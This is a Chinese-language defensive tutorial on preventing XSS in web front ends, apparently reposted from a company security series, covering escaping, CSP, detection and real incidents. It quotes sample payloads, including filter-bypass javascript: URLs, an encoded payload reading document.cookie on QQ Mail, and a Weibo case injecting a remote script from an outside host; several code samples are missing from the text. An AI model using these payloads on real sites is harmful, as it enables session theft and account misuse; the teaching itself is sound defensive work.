前端安全系列(一):如何防止XSS攻击?

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前端安全

随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点。在移动互联网时代,前端人员除了传统的 XSS、CSRF 等安全问题之外,又时常遭遇网络劫持、非法调用 Hybrid API 等新型安全问题。当然,浏览器自身也在不断在进化和发展,不断引入 CSP、Same-Site Cookies 等新技术来增强安全性,但是仍存在很多潜在的威胁,这需要前端技术人员不断进行“查漏补缺”。

近几年,美团业务高速发展,前端随之面临很多安全挑战,因此积累了大量的实践经验。我们梳理了常见的前端安全问题以及对应的解决方案,将会做成一个系列,希望可以帮助前端人员在日常开发中不断预防和修复安全漏洞。本文是该系列的第一篇。

本文我们会讲解 XSS ,主要包括:

  1. XSS 攻击的介绍
  2. XSS 攻击的分类
  3. XSS 攻击的预防和检测
  4. XSS 攻击的总结
  5. XSS 攻击案例

XSS 攻击的介绍

在开始本文之前,我们先提出一个问题,请判断以下两个说法是否正确:

  1. XSS 防范是后端 RD(研发人员)的责任,后端 RD 应该在所有用户提交数据的接口,对敏感字符进行转义,才能进行下一步操作。
  2. 所有要插入到页面上的数据,都要通过一个敏感字符过滤函数的转义,过滤掉通用的敏感字符后,就可以插入到页面中。

如果你还不能确定答案,那么可以带着这些问题向下看,我们将逐步拆解问题。

XSS 漏洞的发生和修复

XSS 攻击是页面被注入了恶意的代码,为了更形象的介绍,我们用发生在小明同学身边的事例来进行说明。

一个案例

某天,公司需要一个搜索页面,根据 URL 参数决定关键词的内容。小明很快把页面写好并且上线。代码如下:

您搜索的关键词是:

然而,在上线后不久,小明就接到了安全组发来的一个神秘链接:

http://xxx/search?keyword=”><script>alert(‘XSS’);</script>

小明带着一种不祥的预感点开了这个链接<span style=”color:red”>[请勿模仿,确认安全的链接才能点开]</span>。果然,页面中弹出了写着”XSS”的对话框。

可恶,中招了!小明眉头一皱,发现了其中的奥秘:

当浏览器请求 http://xxx/search?keyword="><script>alert('XSS');</script> 时,服务端会解析出请求参数 keyword,得到 "><script>alert('XSS');</script>,拼接到 HTML 中返回给浏览器。形成了如下的 HTML:

浏览器无法分辨出 <script>alert('XSS');</script> 是恶意代码,因而将其执行。

浏览器无法分辨出 // 是恶意代码,因而将其执行。

这里不仅仅 div 的内容被注入了,而且 input 的 value 属性也被注入, alert 会弹出两次。

面对这种情况,我们应该如何进行防范呢?

其实,这只是浏览器把用户的输入当成了脚本进行了执行。那么只要告诉浏览器这段内容是文本就可以了。

聪明的小明很快找到解决方法,把这个漏洞修复:

您搜索的关键词是:

escapeHTML() 按照如下规则进行转义:

恶意代码都被转义,不再被浏览器执行,而且搜索词能够完美的在页面显示出来。

通过这个事件,小明学习到了如下知识:

注意特殊的 HTML 属性、JavaScript API

自从上次事件之后,小明会小心的把插入到页面中的数据进行转义。而且他还发现了大部分模板都带有的转义配置,让所有插入到页面中的数据都默认进行转义。这样就不怕不小心漏掉未转义的变量啦,于是小明的工作又渐渐变得轻松起来。

但是,作为导演的我,不可能让小明这么简单、开心地改 Bug 。

不久,小明又收到安全组的神秘链接:http://xxx/?redirect_to=javascript:alert('XSS')。小明不敢大意,赶忙点开页面。然而,页面并没有自动弹出万恶的“XSS”。

小明打开对应页面的源码,发现有以下内容:

这段代码,当攻击 URL 为 http://xxx/?redirect_to=javascript:alert('XSS'),服务端响应就成了:

虽然代码不会立即执行,但一旦用户点击 a 标签时,浏览器会就会弹出“XSS”。

可恶,又失策了…

在这里,用户的数据并没有在位置上突破我们的限制,仍然是正确的 href 属性。但其内容并不是我们所预期的类型。

原来不仅仅是特殊字符,连 javascript: 这样的字符串如果出现在特定的位置也会引发 XSS 攻击。

小明眉头一皱,想到了解决办法:

只要 URL 的开头不是 javascript:,就安全了吧?

安全组随手又扔了一个连接:http://xxx/?redirect_to=jAvascRipt:alert('XSS')

这也能执行?…..好吧,浏览器就是这么强大。

小明欲哭无泪,在判断 URL 开头是否为 javascript: 时,先把用户输入转成了小写,然后再进行比对。

不过,所谓“道高一尺,魔高一丈”。面对小明的防护策略,安全组就构造了这样一个连接:

http://xxx/?redirect_to=%20javascript:alert('XSS')

%20javascript:alert('XSS') 经过 URL 解析后变成 javascript:alert('XSS'),这个字符串以空格开头。这样攻击者可以绕过后端的关键词规则,又成功的完成了注入。

最终,小明选择了白名单的方法,彻底解决了这个漏洞:

通过这个事件,小明学习到了如下知识:

根据上下文采用不同的转义规则

某天,小明为了加快网页的加载速度,把一个数据通过 JSON 的方式内联到 HTML 中:

插入 JSON 的地方不能使用 escapeHTML(),因为转义 " 后,JSON 格式会被破坏。

但安全组又发现有漏洞,原来这样内联 JSON 也是不安全的:

于是我们又要实现一个 escapeEmbedJSON() 函数,对内联 JSON 进行转义。

转义规则如下:

通过这个事件,小明学习到了如下知识:

漏洞总结

小明的例子讲完了,下面我们来系统的看下 XSS 有哪些注入的方法:

总之,如果开发者没有将用户输入的文本进行合适的过滤,就贸然插入到 HTML 中,这很容易造成注入漏洞。攻击者可以利用漏洞,构造出恶意的代码指令,进而利用恶意代码危害数据安全。

XSS 攻击的分类

通过上述几个例子,我们已经对 XSS 有了一些认识。

什么是 XSS

Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。

为了和 CSS 区分,这里把攻击的第一个字母改成了 X,于是叫做 XSS。

XSS 的本质是:恶意代码未经过滤,与网站正常的代码混在一起;浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行。

而由于直接在用户的终端执行,恶意代码能够直接获取用户的信息,或者利用这些信息冒充用户向网站发起攻击者定义的请求。

在部分情况下,由于输入的限制,注入的恶意脚本比较短。但可以通过引入外部的脚本,并由浏览器执行,来完成比较复杂的攻击策略。

这里有一个问题:用户是通过哪种方法“注入”恶意脚本的呢?

不仅仅是业务上的“用户的 UGC 内容”可以进行注入,包括 URL 上的参数等都可以是攻击的来源。在处理输入时,以下内容都不可信:

XSS 分类

根据攻击的来源,XSS 攻击可分为存储型、反射型和 DOM 型三种。

  • 5 &lt; 7 通过 Ajax 返回,然后赋值给 JavaScript 的变量时,前端得到的字符串就是转义后的字符。这个内容不能直接用于 Vue 等模板的展示,也不能直接用于内容长度计算。不能用于标题、alert 等。
  • 所以,输入侧过滤能够在某些情况下解决特定的 XSS 问题,但会引入很大的不确定性和乱码问题。在防范 XSS 攻击时应避免此类方法。

    当然,对于明确的输入类型,例如数字、URL、电话号码、邮件地址等等内容,进行输入过滤还是必要的。

    既然输入过滤并非完全可靠,我们就要通过“防止浏览器执行恶意代码”来防范 XSS。这部分分为两类:

    预防存储型和反射型 XSS 攻击

    存储型和反射型 XSS 都是在服务端取出恶意代码后,插入到响应 HTML 里的,攻击者刻意编写的“数据”被内嵌到“代码”中,被浏览器所执行。

    预防这两种漏洞,有两种常见做法:

    纯前端渲染

    纯前端渲染的过程:

    1. 浏览器先加载一个静态 HTML,此 HTML 中不包含任何跟业务相关的数据。
    2. 然后浏览器执行 HTML 中的 JavaScript。
    3. JavaScript 通过 Ajax 加载业务数据,调用 DOM API 更新到页面上。

    在纯前端渲染中,我们会明确的告诉浏览器:下面要设置的内容是文本(.innerText),还是属性(.setAttribute),还是样式(.style)等等。浏览器不会被轻易的被欺骗,执行预期外的代码了。

    但纯前端渲染还需注意避免 DOM 型 XSS 漏洞(例如 onload 事件和 href 中的 javascript:xxx 等,请参考下文”预防 DOM 型 XSS 攻击“部分)。

    在很多内部、管理系统中,采用纯前端渲染是非常合适的。但对于性能要求高,或有 SEO 需求的页面,我们仍然要面对拼接 HTML 的问题。

    转义 HTML

    如果拼接 HTML 是必要的,就需要采用合适的转义库,对 HTML 模板各处插入点进行充分的转义。

    常用的模板引擎,如 doT.js、ejs、FreeMarker 等,对于 HTML 转义通常只有一个规则,就是把 & " ' / 这几个字符转义掉,确实能起到一定的 XSS 防护作用,但并不完善:

    可见,HTML 的编码是十分复杂的,在不同的上下文里要使用相应的转义规则。

    预防 DOM 型 XSS 攻击

    DOM 型 XSS 攻击,实际上就是网站前端 JavaScript 代码本身不够严谨,把不可信的数据当作代码执行了。

    在使用 .innerHTML.outerHTMLdocument.write() 时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 .textContent.setAttribute() 等。

    如果用 Vue/React 技术栈,并且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端 render 阶段避免 innerHTMLouterHTML 的 XSS 隐患。

    DOM 中的内联事件监听器,如 locationonclickonerroronloadonmouseover 等, <a> 标签的 href 属性,JavaScript 的 eval()setTimeout()setInterval() 等,都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API,很容易产生安全隐患,请务必避免。

    如果项目中有用到这些的话,一定要避免在字符串中拼接不可信数据。

    其他 XSS 防范措施

    虽然在渲染页面和执行 JavaScript 时,通过谨慎的转义可以防止 XSS 的发生,但完全依靠开发的谨慎仍然是不够的。以下介绍一些通用的方案,可以降低 XSS 带来的风险和后果。

    Content Security Policy

    严格的 CSP 在 XSS 的防范中可以起到以下的作用:

    关于 CSP 的详情,请关注前端安全系列后续的文章。

    输入内容长度控制

    对于不受信任的输入,都应该限定一个合理的长度。虽然无法完全防止 XSS 发生,但可以增加 XSS 攻击的难度。

    其他安全措施

    XSS 的检测

    上述经历让小明收获颇丰,他也学会了如何去预防和修复 XSS 漏洞,在日常开发中也具备了相关的安全意识。但对于已经上线的代码,如何去检测其中有没有 XSS 漏洞呢?

    经过一番搜索,小明找到了两个方法:

    1. 使用通用 XSS 攻击字符串手动检测 XSS 漏洞。
    2. 使用扫描工具自动检测 XSS 漏洞。

    Unleashing an Ultimate XSS Polyglot一文中,小明发现了这么一个字符串:

    它能够检测到存在于 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等多种上下文中的 XSS 漏洞,也能检测 eval()setTimeout()setInterval()Function()innerHTMLdocument.write() 等 DOM 型 XSS 漏洞,并且能绕过一些 XSS 过滤器。

    小明只要在网站的各输入框中提交这个字符串,或者把它拼接到 URL 参数上,就可以进行检测了。

    除了手动检测之外,还可以使用自动扫描工具寻找 XSS 漏洞,例如 ArachniMozilla HTTP Observatoryw3af 等。

    XSS 攻击的总结

    我们回到最开始提出的问题,相信同学们已经有了答案:

    1. XSS 防范是后端 RD 的责任,后端 RD 应该在所有用户提交数据的接口,对敏感字符进行转义,才能进行下一步操作。

      不正确。因为:

      • 防范存储型和反射型 XSS 是后端 RD 的责任。而 DOM 型 XSS 攻击不发生在后端,是前端 RD 的责任。防范 XSS 是需要后端 RD 和前端 RD 共同参与的系统工程。
      • 转义应该在输出 HTML 时进行,而不是在提交用户输入时。
    2. 所有要插入到页面上的数据,都要通过一个敏感字符过滤函数的转义,过滤掉通用的敏感字符后,就可以插入到页面中。

      不正确。
      不同的上下文,如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等,所需要的转义规则不一致。
      业务 RD 需要选取合适的转义库,并针对不同的上下文调用不同的转义规则。

    整体的 XSS 防范是非常复杂和繁琐的,我们不仅需要在全部需要转义的位置,对数据进行对应的转义。而且要防止多余和错误的转义,避免正常的用户输入出现乱码。

    虽然很难通过技术手段完全避免 XSS,但我们可以总结以下原则减少漏洞的产生:

    XSS 攻击案例

    QQ 邮箱 m.exmail.qq.com 域名反射型 XSS 漏洞

    攻击者发现 http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb 这个 URL 的参数 uindomain 未经转义直接输出到 HTML 中。

    于是攻击者构建出一个 URL,并引导用户去点击:
    http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B

    用户点击这个 URL 时,服务端取出 URL 参数,拼接到 HTML 响应中:

    浏览器接收到响应后就会执行 alert(document.cookie),攻击者通过 JavaScript 即可窃取当前用户在 QQ 邮箱域名下的 Cookie ,进而危害数据安全。

    新浪微博名人堂反射型 XSS 漏洞

    攻击者发现 http://weibo.com/pub/star/g/xyyyd 这个 URL 的内容未经过滤直接输出到 HTML 中。

    于是攻击者构建出一个 URL,然后诱导用户去点击:

    http://weibo.com/pub/star/g/xyyyd”><script src=//xxxx.cn/image/t.js></script>

    用户点击这个 URL 时,服务端取出请求 URL,拼接到 HTML 响应中:

    浏览器接收到响应后就会加载执行恶意脚本 //xxxx.cn/image/t.js,在恶意脚本中利用用户的登录状态进行关注、发微博、发私信等操作,发出的微博和私信可再带上攻击 URL,诱导更多人点击,不断放大攻击范围。这种窃用受害者身份发布恶意内容,层层放大攻击范围的方式,被称为“XSS 蠕虫”。

    扩展阅读:Automatic Context-Aware Escaping

    上文我们说到:

    1. 合适的 HTML 转义可以有效避免 XSS 漏洞。
    2. 完善的转义库需要针对上下文制定多种规则,例如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等等。
    3. 业务 RD 需要根据每个插入点所处的上下文,选取不同的转义规则。

    通常,转义库是不能判断插入点上下文的(Not Context-Aware),实施转义规则的责任就落到了业务 RD 身上,需要每个业务 RD 都充分理解 XSS 的各种情况,并且需要保证每一个插入点使用了正确的转义规则。

    这种机制工作量大,全靠人工保证,很容易造成 XSS 漏洞,安全人员也很难发现隐患。

    2009年,Google 提出了一个概念叫做:Automatic Context-Aware Escaping

    所谓 Context-Aware,就是说模板引擎在解析模板字符串的时候,就解析模板语法,分析出每个插入点所处的上下文,据此自动选用不同的转义规则。这样就减轻了业务 RD 的工作负担,也减少了人为带来的疏漏。

    在一个支持 Automatic Context-Aware Escaping 的模板引擎里,业务 RD 可以这样定义模板,而无需手动实施转义规则:

    模板引擎经过解析后,得知三个插入点所处的上下文,自动选用相应的转义规则:

    目前已经支持 Automatic Context-Aware Escaping 的模板引擎有:

    课后作业:XSS 攻击小游戏

    以下是几个 XSS 攻击小游戏,开发者在网站上故意留下了一些常见的 XSS 漏洞。玩家在网页上提交相应的输入,完成 XSS 攻击即可通关。

    在玩游戏的过程中,请各位读者仔细思考和回顾本文内容,加深对 XSS 攻击的理解。

    alert(1) to win
    prompt(1) to win
    XSS game

    参考文献

    下期预告

    前端安全系列文章将对 XSS、CSRF、网络劫持、Hybrid 安全等安全议题展开论述。下期我们要讨论的是 CSRF 攻击,敬请关注。

    Reproduced please indicate the source: 飞嗨_分享互联网 » 前端安全系列(一):如何防止XSS攻击?

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